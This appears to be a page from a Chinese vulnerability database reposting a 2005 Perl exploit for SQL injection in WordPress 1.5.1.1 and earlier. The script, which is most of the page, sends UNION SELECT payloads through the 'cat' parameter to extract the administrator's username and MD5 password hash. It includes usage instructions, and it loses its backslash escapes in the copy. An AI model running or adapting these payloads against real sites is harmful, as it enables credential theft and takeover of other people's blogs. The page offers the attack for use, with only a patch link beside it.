WordPress 1.5.1.1 – SQL Injection
漏洞ID | 1055181 | 漏洞类型 | |
发布时间 | 2005-06-22 | 更新时间 | 2005-06-22 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl -w
#
# SQL Injection Exploit for WordPress <= 1.5.1.1
# This exploit shows the username of the administrator of the blog and his
# password crypted in MD5, you must only choose the correct version of the target
# Related advisory: http://www.gentoo.org/security/en/glsa/glsa-200506-04.xml
# Patch: download the last version at http://wordpress.org/download/
# Coded by Alberto Trivero
use LWP::Simple;
print "nt====================================n";
print "t= Exploit for WordPress <= 1.5.1.1 =n";
print "t= by Alberto Trivero =n";
print "t====================================nn";
if(!$ARGV[0] or !($ARGV[0]=~m/http/) or !($ARGV[1]==1 or $ARGV[1]==2)) {
print "Usage:nperl $0 [full_target_path] [target_version: 1 OR 2]nVersion 1: WordPress <= 1.5nVersion 2: WordPress 1.5.1 - 1.5.1.1nn";
print "Examples:nperl $0 http://www.example.com/wordpress/ 2n";
exit(0);
}
$page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==1);
$page=get($ARGV[0]."index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==2);
print "[+] Connected to: $ARGV[0]n";
$page=~m/:([a-f0-9]{32}):(.*?):/;
print "[+] Username of administrator is: $2n" if($2);
print "[+] MD5 hash of password is: $1n" if($1);
print "[-] Unable to retrieve usernamen" if(!$2);
print "[-] Unable to retrieve hash of passwordn" if(!$1);
# milw0rm.com [2005-06-22]
相关推荐: Magic Winmail Server LDapLib.PHP Remote Installation Path Disclosure Vulnerability
Magic Winmail Server LDapLib.PHP Remote Installation Path Disclosure Vulnerability 漏洞ID 1098816 漏洞类型 Failure to Handle Exceptional…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666